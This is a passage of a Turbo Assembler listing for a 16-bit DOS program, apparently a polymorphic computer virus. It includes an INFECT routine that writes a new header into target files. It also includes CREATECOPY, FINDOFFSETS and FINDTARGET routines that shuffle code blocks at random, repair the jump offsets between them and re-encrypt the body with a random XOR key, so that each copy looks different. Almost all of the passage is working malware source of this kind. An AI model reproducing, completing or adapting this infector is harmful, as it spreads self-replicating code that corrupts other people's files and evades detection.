    461	    0263  BA 0927r		 LEA DX,[CODE2]
    462	    0266  E9 00	00		 DB 0E9H, 0, 0
    463		  =OFFSET 0045		 GPSVAR_00108 EQU OFFSET GPS_00109-OFFSET GPS_00108 OR 40H
    464	    0269			 GPS_00108:
    465	    0269  CD 21			 INT 21H
    466	    026B  E9 00	00		 DB 0E9H, 0, 0
    467		  =OFFSET 0046		 GPSVAR_00109 EQU OFFSET GPS_00110-OFFSET GPS_00109 OR 40H
    468	    026E			 GPS_00109:
    469	    026E  B8 4200		 MOV AX,4200H
    470	    0271  E9 00	00		 DB 0E9H, 0, 0
    471		  =OFFSET 0045		 GPSVAR_00110 EQU OFFSET GPS_00111-OFFSET GPS_00110 OR 40H
    472	    0274			 GPS_00110:
    473	    0274  33 C9			 XOR CX,CX
    474	    0276  E9 00	00		 DB 0E9H, 0, 0
    475		  =OFFSET 0045		 GPSVAR_00111 EQU OFFSET GPS_00112-OFFSET GPS_00111 OR 40H
    476	    0279			 GPS_00111:
    477	    0279  33 D2			 XOR DX,DX
    478	    027B  E9 00	00		 DB 0E9H, 0, 0
    479		  =OFFSET 0045		 GPSVAR_00112 EQU OFFSET GPS_00113-OFFSET GPS_00112 OR 40H
    480	    027E			 GPS_00112:
    481	    027E  CD 21			 INT 21H
    482	    0280  E9 00	00		 DB 0E9H, 0, 0
    483		  =OFFSET 0045		 GPSVAR_00113 EQU OFFSET GPS_00114-OFFSET GPS_00113 OR 40H
    484	    0283			 GPS_00113:
    485	    0283  B4 40			 MOV AH,40H
    486	    0285  E9 00	00		 DB 0E9H, 0, 0
    487		  =OFFSET 0046		 GPSVAR_00114 EQU OFFSET GPS_00115-OFFSET GPS_00114 OR 40H
    488	    0288			 GPS_00114:
    489	    0288  B9 001C		 MOV CX,1CH
    490	    028B  E9 00	00		 DB 0E9H, 0, 0
    491		  =OFFSET 0046		 GPSVAR_00115 EQU OFFSET GPS_00116-OFFSET GPS_00115 OR 40H
    492	    028E			 GPS_00115:
    493	    028E  BA 168Er		 LEA DX,[HEADER]
    494	    0291  E9 00	00		 DB 0E9H, 0, 0
    495		  =OFFSET 0045		 GPSVAR_00116 EQU OFFSET GPS_00117-OFFSET GPS_00116 OR 40H
    496	    0294			 GPS_00116:
    497	    0294  CD 21			 INT 21H
    498	    0296  E9 00	00		 DB 0E9H, 0, 0
    499		  =OFFSET 0045		 GPSVAR_00117 EQU OFFSET GPS_00118-OFFSET GPS_00117 OR 40H
    500	    0299			 GPS_00117:
    501	    0299  B4 3E			 IN2: MOV AH,3EH
    502	    029B  E9 00	00		 DB 0E9H, 0, 0
    503		  =OFFSET 0045		 GPSVAR_00118 EQU OFFSET GPS_00119-OFFSET GPS_00118 OR 40H
    504	    029E			 GPS_00118:
    505	    029E  CD 21			 INT 21H
    506	    02A0  E9 00	00		 DB 0E9H, 0, 0
    507		  =OFFSET 0001		 GPSVAR_00119 EQU OFFSET GPS_00120-OFFSET GPS_00119
    508	    02A3			 GPS_00119:
    509	    02A3  C3			 IN1: RET
    510	    02A4			 INFECT	ENDP
    511	    02A4			 CREATECOPY PROC NEAR
    512		  =OFFSET 0044		 GPSVAR_00120 EQU OFFSET GPS_00121-OFFSET GPS_00120 OR 40H
    513	    02A4			 GPS_00120:
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 10
gps.prc



    514	    02A4  53			 PUSH BX
    515	    02A5  E9 00	00		 DB 0E9H, 0, 0
    516		  =OFFSET 0046		 GPSVAR_00121 EQU OFFSET GPS_00122-OFFSET GPS_00121 OR 40H
    517	    02A8			 GPS_00121:
    518	    02A8  B9 0382		 MOV CX,OFFSET CODE2-OFFSET XORKEY
    519	    02AB  E9 00	00		 DB 0E9H, 0, 0
    520		  =OFFSET 0046		 GPSVAR_00122 EQU OFFSET GPS_00123-OFFSET GPS_00122 OR 40H
    521	    02AE			 GPS_00122:
    522	    02AE  BE 05A5r		 LEA SI,[XORKEY]
    523	    02B1  E9 00	00		 DB 0E9H, 0, 0
    524		  =OFFSET 0046		 GPSVAR_00123 EQU OFFSET GPS_00124-OFFSET GPS_00123 OR 40H
    525	    02B4			 GPS_00123:
    526	    02B4  BF 0ECCr		 LEA DI,[XORKEY2]
    527	    02B7  E9 00	00		 DB 0E9H, 0, 0
    528		  =OFFSET 0044		 GPSVAR_00124 EQU OFFSET GPS_00125-OFFSET GPS_00124 OR 40H
    529	    02BA			 GPS_00124:
    530	    02BA  FC			 CLD
    531	    02BB  E9 00	00		 DB 0E9H, 0, 0
    532		  =OFFSET 0045		 GPSVAR_00125 EQU OFFSET GPS_00126-OFFSET GPS_00125 OR 40H
    533	    02BE			 GPS_00125:
    534	    02BE  F3> A4		 REP MOVSB
    535	    02C0  E9 00	00		 DB 0E9H, 0, 0
    536		  =OFFSET 0046		 GPSVAR_00126 EQU OFFSET GPS_00127-OFFSET GPS_00126 OR 40H
    537	    02C3			 GPS_00126:
    538	    02C3  B9 0220		 MOV CX,N*2
    539	    02C6  E9 00	00		 DB 0E9H, 0, 0
    540		  =OFFSET 0046		 GPSVAR_00127 EQU OFFSET GPS_00128-OFFSET GPS_00127 OR 40H
    541	    02C9			 GPS_00127:
    542	    02C9  B8 0110		 CC1: MOV AX,N
    543	    02CC  E9 00	00		 DB 0E9H, 0, 0
    544		  =OFFSET 0086		 GPSVAR_00128 EQU OFFSET GPS_00129-OFFSET GPS_00128 OR 80H
    545	    02CF			 GPS_00128:
    546	    02CF  E8 021A		 CALL RANDOM
    547	    02D2  E9 00	00		 DB 0E9H, 0, 0
    548		  =OFFSET 0045		 GPSVAR_00129 EQU OFFSET GPS_00130-OFFSET GPS_00129 OR 40H
    549	    02D5			 GPS_00129:
    550	    02D5  8B F0			 MOV SI,AX
    551	    02D7  E9 00	00		 DB 0E9H, 0, 0
    552		  =OFFSET 0045		 GPSVAR_00130 EQU OFFSET GPS_00131-OFFSET GPS_00130 OR 40H
    553	    02DA			 GPS_00130:
    554	    02DA  D1 E6			 SHL SI,1
    555	    02DC  E9 00	00		 DB 0E9H, 0, 0
    556		  =OFFSET 0047		 GPSVAR_00131 EQU OFFSET GPS_00132-OFFSET GPS_00131 OR 40H
    557	    02DF			 GPS_00131:
    558	    02DF  81 C6	0F1E		 ADD SI,OFFSET BLOCKPOS2-OFFSET	START
    559	    02E3  E9 00	00		 DB 0E9H, 0, 0
    560		  =OFFSET 0046		 GPSVAR_00132 EQU OFFSET GPS_00133-OFFSET GPS_00132 OR 40H
    561	    02E6			 GPS_00132:
    562	    02E6  B8 0110		 MOV AX,N
    563	    02E9  E9 00	00		 DB 0E9H, 0, 0
    564		  =OFFSET 0086		 GPSVAR_00133 EQU OFFSET GPS_00134-OFFSET GPS_00133 OR 80H
    565	    02EC			 GPS_00133:
    566	    02EC  E8 01FD		 CALL RANDOM
    567	    02EF  E9 00	00		 DB 0E9H, 0, 0
    568		  =OFFSET 0045		 GPSVAR_00134 EQU OFFSET GPS_00135-OFFSET GPS_00134 OR 40H
    569	    02F2			 GPS_00134:
    570	    02F2  8B F8			 MOV DI,AX
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 11
gps.prc



    571	    02F4  E9 00	00		 DB 0E9H, 0, 0
    572		  =OFFSET 0045		 GPSVAR_00135 EQU OFFSET GPS_00136-OFFSET GPS_00135 OR 40H
    573	    02F7			 GPS_00135:
    574	    02F7  D1 E7			 SHL DI,1
    575	    02F9  E9 00	00		 DB 0E9H, 0, 0
    576		  =OFFSET 0047		 GPSVAR_00136 EQU OFFSET GPS_00137-OFFSET GPS_00136 OR 40H
    577	    02FC			 GPS_00136:
    578	    02FC  81 C7	0F1E		 ADD DI,OFFSET BLOCKPOS2-OFFSET	START
    579	    0300  E9 00	00		 DB 0E9H, 0, 0
    580		  =OFFSET 0045		 GPSVAR_00137 EQU OFFSET GPS_00138-OFFSET GPS_00137 OR 40H
    581	    0303			 GPS_00137:
    582	    0303  FF 34			 PUSH WORD PTR DS:[SI]
    583	    0305  E9 00	00		 DB 0E9H, 0, 0
    584		  =OFFSET 0045		 GPSVAR_00138 EQU OFFSET GPS_00139-OFFSET GPS_00138 OR 40H
    585	    0308			 GPS_00138:
    586	    0308  FF 35			 PUSH WORD PTR DS:[DI]
    587	    030A  E9 00	00		 DB 0E9H, 0, 0
    588		  =OFFSET 0045		 GPSVAR_00139 EQU OFFSET GPS_00140-OFFSET GPS_00139 OR 40H
    589	    030D			 GPS_00139:
    590	    030D  8F 04			 POP WORD PTR DS:[SI]
    591	    030F  E9 00	00		 DB 0E9H, 0, 0
    592		  =OFFSET 0045		 GPSVAR_00140 EQU OFFSET GPS_00141-OFFSET GPS_00140 OR 40H
    593	    0312			 GPS_00140:
    594	    0312  8F 05			 POP WORD PTR DS:[DI]
    595	    0314  E9 00	00		 DB 0E9H, 0, 0
    596		  =OFFSET 0088		 GPSVAR_00141 EQU OFFSET GPS_00142-OFFSET GPS_00141 OR 80H
    597	    0317			 GPS_00141:
    598	    0317  E2 03			 LOOP $+5
    599	    0319  E9 03	00		 DB 0E9H, 3, 0
    600	    031C  E9			 DB 0E9H
    601	    031D  FFAA			 DW OFFSET CC1-$-2
    602		  =OFFSET 0046		 GPSVAR_00142 EQU OFFSET GPS_00143-OFFSET GPS_00142 OR 40H
    603	    031F			 GPS_00142:
    604	    031F  BE 05F7r		 LEA SI,[BLOCKPOS]
    605	    0322  E9 00	00		 DB 0E9H, 0, 0
    606		  =OFFSET 0046		 GPSVAR_00143 EQU OFFSET GPS_00144-OFFSET GPS_00143 OR 40H
    607	    0325			 GPS_00143:
    608	    0325  BF 124Er		 LEA DI,[BLOCKOFS]
    609	    0328  E9 00	00		 DB 0E9H, 0, 0
    610		  =OFFSET 0086		 GPSVAR_00144 EQU OFFSET GPS_00145-OFFSET GPS_00144 OR 80H
    611	    032B			 GPS_00144:
    612	    032B  E8 010E		 CALL FINDOFFSETS
    613	    032E  E9 00	00		 DB 0E9H, 0, 0
    614		  =OFFSET 0046		 GPSVAR_00145 EQU OFFSET GPS_00146-OFFSET GPS_00145 OR 40H
    615	    0331			 GPS_00145:
    616	    0331  BE 0F1Er		 LEA SI,[BLOCKPOS2]
    617	    0334  E9 00	00		 DB 0E9H, 0, 0
    618		  =OFFSET 0046		 GPSVAR_00146 EQU OFFSET GPS_00147-OFFSET GPS_00146 OR 40H
    619	    0337			 GPS_00146:
    620	    0337  BF 146Er		 LEA DI,[BLOCKOFS2]
    621	    033A  E9 00	00		 DB 0E9H, 0, 0
    622		  =OFFSET 0086		 GPSVAR_00147 EQU OFFSET GPS_00148-OFFSET GPS_00147 OR 80H
    623	    033D			 GPS_00147:
    624	    033D  E8 00FC		 CALL FINDOFFSETS
    625	    0340  E9 00	00		 DB 0E9H, 0, 0
    626		  =OFFSET 0045		 GPSVAR_00148 EQU OFFSET GPS_00149-OFFSET GPS_00148 OR 40H
    627	    0343			 GPS_00148:
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 12
gps.prc



    628	    0343  33 DB			 XOR BX,BX
    629	    0345  E9 00	00		 DB 0E9H, 0, 0
    630		  =OFFSET 0047		 GPSVAR_00149 EQU OFFSET GPS_00150-OFFSET GPS_00149 OR 40H
    631	    0348			 GPS_00149:
    632	    0348  8A 87	0817r		 CC2: MOV AL,DS:[BLOCKSIZE+BX]
    633	    034C  E9 00	00		 DB 0E9H, 0, 0
    634		  =OFFSET 0045		 GPSVAR_00150 EQU OFFSET GPS_00151-OFFSET GPS_00150 OR 40H
    635	    034F			 GPS_00150:
    636	    034F  8A C8			 MOV CL,AL
    637	    0351  E9 00	00		 DB 0E9H, 0, 0
    638		  =OFFSET 0046		 GPSVAR_00151 EQU OFFSET GPS_00152-OFFSET GPS_00151 OR 40H
    639	    0354			 GPS_00151:
    640	    0354  C0 E8	06		 SHR AL,6
    641	    0357  E9 00	00		 DB 0E9H, 0, 0
    642		  =OFFSET 0046		 GPSVAR_00152 EQU OFFSET GPS_00153-OFFSET GPS_00152 OR 40H
    643	    035A			 GPS_00152:
    644	    035A  83 E1	3F		 AND CX,111111B
    645	    035D  E9 00	00		 DB 0E9H, 0, 0
    646		  =OFFSET 0045		 GPSVAR_00153 EQU OFFSET GPS_00154-OFFSET GPS_00153 OR 40H
    647	    0360			 GPS_00153:
    648	    0360  8B F3			 MOV SI,BX
    649	    0362  E9 00	00		 DB 0E9H, 0, 0
    650		  =OFFSET 0045		 GPSVAR_00154 EQU OFFSET GPS_00155-OFFSET GPS_00154 OR 40H
    651	    0365			 GPS_00154:
    652	    0365  D1 E6			 SHL SI,1
    653	    0367  E9 00	00		 DB 0E9H, 0, 0
    654		  =OFFSET 0047		 GPSVAR_00155 EQU OFFSET GPS_00156-OFFSET GPS_00155 OR 40H
    655	    036A			 GPS_00155:
    656	    036A  8B BC	146Er		 MOV DI,DS:[BLOCKOFS2+SI]
    657	    036E  E9 00	00		 DB 0E9H, 0, 0
    658		  =OFFSET 0047		 GPSVAR_00156 EQU OFFSET GPS_00157-OFFSET GPS_00156 OR 40H
    659	    0371			 GPS_00156:
    660	    0371  81 C7	0927		 ADD DI,OFFSET CODE2-OFFSET START
    661	    0375  E9 00	00		 DB 0E9H, 0, 0
    662		  =OFFSET 0047		 GPSVAR_00157 EQU OFFSET GPS_00158-OFFSET GPS_00157 OR 40H
    663	    0378			 GPS_00157:
    664	    0378  8B B4	124Er		 MOV SI,DS:[BLOCKOFS+SI]
    665	    037C  E9 00	00		 DB 0E9H, 0, 0
    666		  =OFFSET 0045		 GPSVAR_00158 EQU OFFSET GPS_00159-OFFSET GPS_00158 OR 40H
    667	    037F			 GPS_00158:
    668	    037F  F3> A4		 REP MOVSB
    669	    0381  E9 00	00		 DB 0E9H, 0, 0
    670		  =OFFSET 0045		 GPSVAR_00159 EQU OFFSET GPS_00160-OFFSET GPS_00159 OR 40H
    671	    0384			 GPS_00159:
    672	    0384  3C 00			 CMP AL,0
    673	    0386  E9 00	00		 DB 0E9H, 0, 0
    674		  =OFFSET 0088		 GPSVAR_00160 EQU OFFSET GPS_00161-OFFSET GPS_00160 OR 80H
    675	    0389			 GPS_00160:
    676	    0389  74 03			 JE $+5
    677	    038B  E9 03	00		 DB 0E9H, 3, 0
    678	    038E  E9			 DB 0E9H
    679	    038F  0051			 DW OFFSET CC3-$-2
    680		  =OFFSET 0045		 GPSVAR_00161 EQU OFFSET GPS_00162-OFFSET GPS_00161 OR 40H
    681	    0391			 GPS_00161:
    682	    0391  3C 01			 CMP AL,1
    683	    0393  E9 00	00		 DB 0E9H, 0, 0
    684		  =OFFSET 0088		 GPSVAR_00162 EQU OFFSET GPS_00163-OFFSET GPS_00162 OR 80H
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 13
gps.prc



    685	    0396			 GPS_00162:
    686	    0396  74 03			 JE $+5
    687	    0398  E9 03	00		 DB 0E9H, 3, 0
    688	    039B  E9			 DB 0E9H
    689	    039C  0028			 DW OFFSET CC4-$-2
    690		  =OFFSET 0046		 GPSVAR_00163 EQU OFFSET GPS_00164-OFFSET GPS_00163 OR 40H
    691	    039E			 GPS_00163:
    692	    039E  8B 44	FB		 MOV AX,DS:[SI-5]
    693	    03A1  E9 00	00		 DB 0E9H, 0, 0
    694		  =OFFSET 0045		 GPSVAR_00164 EQU OFFSET GPS_00165-OFFSET GPS_00164 OR 40H
    695	    03A4			 GPS_00164:
    696	    03A4  03 C6			 ADD AX,SI
    697	    03A6  E9 00	00		 DB 0E9H, 0, 0
    698		  =OFFSET 0046		 GPSVAR_00165 EQU OFFSET GPS_00166-OFFSET GPS_00165 OR 40H
    699	    03A9			 GPS_00165:
    700	    03A9  2D 0003		 SUB AX,3
    701	    03AC  E9 00	00		 DB 0E9H, 0, 0
    702		  =OFFSET 0086		 GPSVAR_00166 EQU OFFSET GPS_00167-OFFSET GPS_00166 OR 80H
    703	    03AF			 GPS_00166:
    704	    03AF  E8 00EC		 CALL FINDTARGET
    705	    03B2  E9 00	00		 DB 0E9H, 0, 0
    706		  =OFFSET 0045		 GPSVAR_00167 EQU OFFSET GPS_00168-OFFSET GPS_00167 OR 40H
    707	    03B5			 GPS_00167:
    708	    03B5  2B C7			 SUB AX,DI
    709	    03B7  E9 00	00		 DB 0E9H, 0, 0
    710		  =OFFSET 0046		 GPSVAR_00168 EQU OFFSET GPS_00169-OFFSET GPS_00168 OR 40H
    711	    03BA			 GPS_00168:
    712	    03BA  05 0003		 ADD AX,3
    713	    03BD  E9 00	00		 DB 0E9H, 0, 0
    714		  =OFFSET 0046		 GPSVAR_00169 EQU OFFSET GPS_00170-OFFSET GPS_00169 OR 40H
    715	    03C0			 GPS_00169:
    716	    03C0  89 45	FB		 MOV DS:[DI-5],AX
    717	    03C3  E9 00	00		 DB 0E9H, 0, 0
    718		  =OFFSET 0046		 GPSVAR_00170 EQU OFFSET GPS_00171-OFFSET GPS_00170 OR 40H
    719	    03C6			 GPS_00170:
    720	    03C6  8B 44	FE		 CC4: MOV AX,DS:[SI-2]
    721	    03C9  E9 00	00		 DB 0E9H, 0, 0
    722		  =OFFSET 0045		 GPSVAR_00171 EQU OFFSET GPS_00172-OFFSET GPS_00171 OR 40H
    723	    03CC			 GPS_00171:
    724	    03CC  03 C6			 ADD AX,SI
    725	    03CE  E9 00	00		 DB 0E9H, 0, 0
    726		  =OFFSET 0086		 GPSVAR_00172 EQU OFFSET GPS_00173-OFFSET GPS_00172 OR 80H
    727	    03D1			 GPS_00172:
    728	    03D1  E8 00CA		 CALL FINDTARGET
    729	    03D4  E9 00	00		 DB 0E9H, 0, 0
    730		  =OFFSET 0045		 GPSVAR_00173 EQU OFFSET GPS_00174-OFFSET GPS_00173 OR 40H
    731	    03D7			 GPS_00173:
    732	    03D7  2B C7			 SUB AX,DI
    733	    03D9  E9 00	00		 DB 0E9H, 0, 0
    734		  =OFFSET 0046		 GPSVAR_00174 EQU OFFSET GPS_00175-OFFSET GPS_00174 OR 40H
    735	    03DC			 GPS_00174:
    736	    03DC  89 45	FE		 MOV DS:[DI-2],AX
    737	    03DF  E9 00	00		 DB 0E9H, 0, 0
    738		  =OFFSET 0044		 GPSVAR_00175 EQU OFFSET GPS_00176-OFFSET GPS_00175 OR 40H
    739	    03E2			 GPS_00175:
    740	    03E2  43			 CC3: INC BX
    741	    03E3  E9 00	00		 DB 0E9H, 0, 0
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 14
gps.prc



    742		  =OFFSET 0047		 GPSVAR_00176 EQU OFFSET GPS_00177-OFFSET GPS_00176 OR 40H
    743	    03E6			 GPS_00176:
    744	    03E6  81 FB	0110		 CMP BX,N
    745	    03EA  E9 00	00		 DB 0E9H, 0, 0
    746		  =OFFSET 0088		 GPSVAR_00177 EQU OFFSET GPS_00178-OFFSET GPS_00177 OR 80H
    747	    03ED			 GPS_00177:
    748	    03ED  72 03			 JB $+5
    749	    03EF  E9 03	00		 DB 0E9H, 3, 0
    750	    03F2  E9			 DB 0E9H
    751	    03F3  FF53			 DW OFFSET CC2-$-2
    752		  =OFFSET 0047		 GPSVAR_00178 EQU OFFSET GPS_00179-OFFSET GPS_00178 OR 40H
    753	    03F5			 GPS_00178:
    754	    03F5  8B 1E	146Er		 MOV BX,DS:[BLOCKOFS2]
    755	    03F9  E9 00	00		 DB 0E9H, 0, 0
    756		  =OFFSET 0046		 GPSVAR_00179 EQU OFFSET GPS_00180-OFFSET GPS_00179 OR 40H
    757	    03FC			 GPS_00179:
    758	    03FC  B8 0100		 CC5: MOV AX,256
    759	    03FF  E9 00	00		 DB 0E9H, 0, 0
    760		  =OFFSET 0086		 GPSVAR_00180 EQU OFFSET GPS_00181-OFFSET GPS_00180 OR 80H
    761	    0402			 GPS_00180:
    762	    0402  E8 00E7		 CALL RANDOM
    763	    0405  E9 00	00		 DB 0E9H, 0, 0
    764		  =OFFSET 0045		 GPSVAR_00181 EQU OFFSET GPS_00182-OFFSET GPS_00181 OR 40H
    765	    0408			 GPS_00181:
    766	    0408  0B C0			 OR AX,AX
    767	    040A  E9 00	00		 DB 0E9H, 0, 0
    768		  =OFFSET 0088		 GPSVAR_00182 EQU OFFSET GPS_00183-OFFSET GPS_00182 OR 80H
    769	    040D			 GPS_00182:
    770	    040D  74 03			 JZ $+5
    771	    040F  E9 03	00		 DB 0E9H, 3, 0
    772	    0412  E9			 DB 0E9H
    773	    0413  FFE7			 DW OFFSET CC5-$-2
    774		  =OFFSET 0046		 GPSVAR_00183 EQU OFFSET GPS_00184-OFFSET GPS_00183 OR 40H
    775	    0415			 GPS_00183:
    776	    0415  B9 0382		 MOV CX,OFFSET CODE2-OFFSET XORKEY
    777	    0418  E9 00	00		 DB 0E9H, 0, 0
    778		  =OFFSET 0046		 GPSVAR_00184 EQU OFFSET GPS_00185-OFFSET GPS_00184 OR 40H
    779	    041B			 GPS_00184:
    780	    041B  BE 0ECCr		 LEA SI,[XORKEY2]
    781	    041E  E9 00	00		 DB 0E9H, 0, 0
    782		  =OFFSET 0045		 GPSVAR_00185 EQU OFFSET GPS_00186-OFFSET GPS_00185 OR 40H
    783	    0421			 GPS_00185:
    784	    0421  30 04			 CC6: XOR DS:[SI],AL
    785	    0423  E9 00	00		 DB 0E9H, 0, 0
    786		  =OFFSET 0044		 GPSVAR_00186 EQU OFFSET GPS_00187-OFFSET GPS_00186 OR 40H
    787	    0426			 GPS_00186:
    788	    0426  46			 INC SI
    789	    0427  E9 00	00		 DB 0E9H, 0, 0
    790		  =OFFSET 0088		 GPSVAR_00187 EQU OFFSET GPS_00188-OFFSET GPS_00187 OR 80H
    791	    042A			 GPS_00187:
    792	    042A  E2 03			 LOOP $+5
    793	    042C  E9 03	00		 DB 0E9H, 3, 0
    794	    042F  E9			 DB 0E9H
    795	    0430  FFEF			 DW OFFSET CC6-$-2
    796		  =OFFSET 0045		 GPSVAR_00188 EQU OFFSET GPS_00189-OFFSET GPS_00188 OR 40H
    797	    0432			 GPS_00188:
    798	    0432  8B C3			 MOV AX,BX
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 15
gps.prc



    799	    0434  E9 00	00		 DB 0E9H, 0, 0
    800		  =OFFSET 0044		 GPSVAR_00189 EQU OFFSET GPS_00190-OFFSET GPS_00189 OR 40H
    801	    0437			 GPS_00189:
    802	    0437  5B			 POP BX
    803	    0438  E9 00	00		 DB 0E9H, 0, 0
    804		  =OFFSET 0001		 GPSVAR_00190 EQU OFFSET GPS_00191-OFFSET GPS_00190
    805	    043B			 GPS_00190:
    806	    043B  C3			 RET
    807	    043C			 CREATECOPY ENDP
    808	    043C			 FINDOFFSETS PROC NEAR
    809		  =OFFSET 0046		 GPSVAR_00191 EQU OFFSET GPS_00192-OFFSET GPS_00191 OR 40H
    810	    043C			 GPS_00191:
    811	    043C  B9 0110		 MOV CX,N
    812	    043F  E9 00	00		 DB 0E9H, 0, 0
    813		  =OFFSET 0045		 GPSVAR_00192 EQU OFFSET GPS_00193-OFFSET GPS_00192 OR 40H
    814	    0442			 GPS_00192:
    815	    0442  33 D2			 XOR DX,DX
    816	    0444  E9 00	00		 DB 0E9H, 0, 0
    817		  =OFFSET 0045		 GPSVAR_00193 EQU OFFSET GPS_00194-OFFSET GPS_00193 OR 40H
    818	    0447			 GPS_00193:
    819	    0447  33 ED			 FO1: XOR BP,BP
    820	    0449  E9 00	00		 DB 0E9H, 0, 0
    821		  =OFFSET 0045		 GPSVAR_00194 EQU OFFSET GPS_00195-OFFSET GPS_00194 OR 40H
    822	    044C			 GPS_00194:
    823	    044C  33 DB			 XOR BX,BX
    824	    044E  E9 00	00		 DB 0E9H, 0, 0
    825		  =OFFSET 0044		 GPSVAR_00195 EQU OFFSET GPS_00196-OFFSET GPS_00195 OR 40H
    826	    0451			 GPS_00195:
    827	    0451  57			 PUSH DI
    828	    0452  E9 00	00		 DB 0E9H, 0, 0
    829		  =OFFSET 0045		 GPSVAR_00196 EQU OFFSET GPS_00197-OFFSET GPS_00196 OR 40H
    830	    0455			 GPS_00196:
    831	    0455  8B 38			 FO2: MOV DI,DS:[SI+BX]
    832	    0457  E9 00	00		 DB 0E9H, 0, 0
    833		  =OFFSET 0045		 GPSVAR_00197 EQU OFFSET GPS_00198-OFFSET GPS_00197 OR 40H
    834	    045A			 GPS_00197:
    835	    045A  3B FA			 CMP DI,DX
    836	    045C  E9 00	00		 DB 0E9H, 0, 0
    837		  =OFFSET 0088		 GPSVAR_00198 EQU OFFSET GPS_00199-OFFSET GPS_00198 OR 80H
    838	    045F			 GPS_00198:
    839	    045F  74 03			 JE $+5
    840	    0461  E9 03	00		 DB 0E9H, 3, 0
    841	    0464  E9			 DB 0E9H
    842	    0465  001D			 DW OFFSET FO3-$-2
    843		  =OFFSET 0047		 GPSVAR_00199 EQU OFFSET GPS_00200-OFFSET GPS_00199 OR 40H
    844	    0467			 GPS_00199:
    845	    0467  8A 85	0817r		 MOV AL,DS:[DI+BLOCKSIZE]
    846	    046B  E9 00	00		 DB 0E9H, 0, 0
    847		  =OFFSET 0046		 GPSVAR_00200 EQU OFFSET GPS_00201-OFFSET GPS_00200 OR 40H
    848	    046E			 GPS_00200:
    849	    046E  25 003F		 AND AX,111111B
    850	    0471  E9 00	00		 DB 0E9H, 0, 0
    851		  =OFFSET 0045		 GPSVAR_00201 EQU OFFSET GPS_00202-OFFSET GPS_00201 OR 40H
    852	    0474			 GPS_00201:
    853	    0474  03 E8			 ADD BP,AX
    854	    0476  E9 00	00		 DB 0E9H, 0, 0
    855		  =OFFSET 0044		 GPSVAR_00202 EQU OFFSET GPS_00203-OFFSET GPS_00202 OR 40H
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 16
gps.prc



    856	    0479			 GPS_00202:
    857	    0479  43			 INC BX
    858	    047A  E9 00	00		 DB 0E9H, 0, 0
    859		  =OFFSET 0044		 GPSVAR_00203 EQU OFFSET GPS_00204-OFFSET GPS_00203 OR 40H
    860	    047D			 GPS_00203:
    861	    047D  43			 INC BX
    862	    047E  E9 00	00		 DB 0E9H, 0, 0
    863		  =OFFSET 0043		 GPSVAR_00204 EQU OFFSET GPS_00205-OFFSET GPS_00204 OR 40H
    864	    0481			 GPS_00204:
    865	    0481  E9			 DB 0E9H
    866	    0482  FFD1			 DW OFFSET FO2-$-2
    867		  =OFFSET 0044		 GPSVAR_00205 EQU OFFSET GPS_00206-OFFSET GPS_00205 OR 40H
    868	    0484			 GPS_00205:
    869	    0484  5F			 FO3: POP DI
    870	    0485  E9 00	00		 DB 0E9H, 0, 0
    871		  =OFFSET 0045		 GPSVAR_00206 EQU OFFSET GPS_00207-OFFSET GPS_00206 OR 40H
    872	    0488			 GPS_00206:
    873	    0488  8B C5			 MOV AX,BP
    874	    048A  E9 00	00		 DB 0E9H, 0, 0
    875		  =OFFSET 0044		 GPSVAR_00207 EQU OFFSET GPS_00208-OFFSET GPS_00207 OR 40H
    876	    048D			 GPS_00207:
    877	    048D  AB			 STOSW
    878	    048E  E9 00	00		 DB 0E9H, 0, 0
    879		  =OFFSET 0044		 GPSVAR_00208 EQU OFFSET GPS_00209-OFFSET GPS_00208 OR 40H
    880	    0491			 GPS_00208:
    881	    0491  42			 INC DX
    882	    0492  E9 00	00		 DB 0E9H, 0, 0
    883		  =OFFSET 0088		 GPSVAR_00209 EQU OFFSET GPS_00210-OFFSET GPS_00209 OR 80H
    884	    0495			 GPS_00209:
    885	    0495  E2 03			 LOOP $+5
    886	    0497  E9 03	00		 DB 0E9H, 3, 0
    887	    049A  E9			 DB 0E9H
    888	    049B  FFAA			 DW OFFSET FO1-$-2
    889		  =OFFSET 0001		 GPSVAR_00210 EQU OFFSET GPS_00211-OFFSET GPS_00210
    890	    049D			 GPS_00210:
    891	    049D  C3			 RET
    892	    049E			 FINDOFFSETS ENDP
    893	    049E			 FINDTARGET PROC NEAR
    894		  =OFFSET 0044		 GPSVAR_00211 EQU OFFSET GPS_00212-OFFSET GPS_00211 OR 40H
    895	    049E			 GPS_00211:
    896	    049E  53			 PUSH BX
    897	    049F  E9 00	00		 DB 0E9H, 0, 0
    898		  =OFFSET 0045		 GPSVAR_00212 EQU OFFSET GPS_00213-OFFSET GPS_00212 OR 40H
    899	    04A2			 GPS_00212:
    900	    04A2  33 DB			 XOR BX,BX
    901	    04A4  E9 00	00		 DB 0E9H, 0, 0
    902		  =OFFSET 0047		 GPSVAR_00213 EQU OFFSET GPS_00214-OFFSET GPS_00213 OR 40H
    903	    04A7			 GPS_00213:
    904	    04A7  39 87	124Er		 FT1: CMP DS:[BLOCKOFS+BX],AX
    905	    04AB  E9 00	00		 DB 0E9H, 0, 0
    906		  =OFFSET 0088		 GPSVAR_00214 EQU OFFSET GPS_00215-OFFSET GPS_00214 OR 80H
    907	    04AE			 GPS_00214:
    908	    04AE  74 03			 JE $+5
    909	    04B0  E9 03	00		 DB 0E9H, 3, 0
    910	    04B3  E9			 DB 0E9H
    911	    04B4  000B			 DW OFFSET FT2-$-2
    912		  =OFFSET 0044		 GPSVAR_00215 EQU OFFSET GPS_00216-OFFSET GPS_00215 OR 40H
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 17
gps.prc



    913	    04B6			 GPS_00215:
    914	    04B6  43			 INC BX
    915	    04B7  E9 00	00		 DB 0E9H, 0, 0
    916		  =OFFSET 0044		 GPSVAR_00216 EQU OFFSET GPS_00217-OFFSET GPS_00216 OR 40H
    917	    04BA			 GPS_00216:
    918	    04BA  43			 INC BX
    919	    04BB  E9 00	00		 DB 0E9H, 0, 0
    920		  =OFFSET 0043		 GPSVAR_00217 EQU OFFSET GPS_00218-OFFSET GPS_00217 OR 40H
    921	    04BE			 GPS_00217:
    922	    04BE  E9			 DB 0E9H
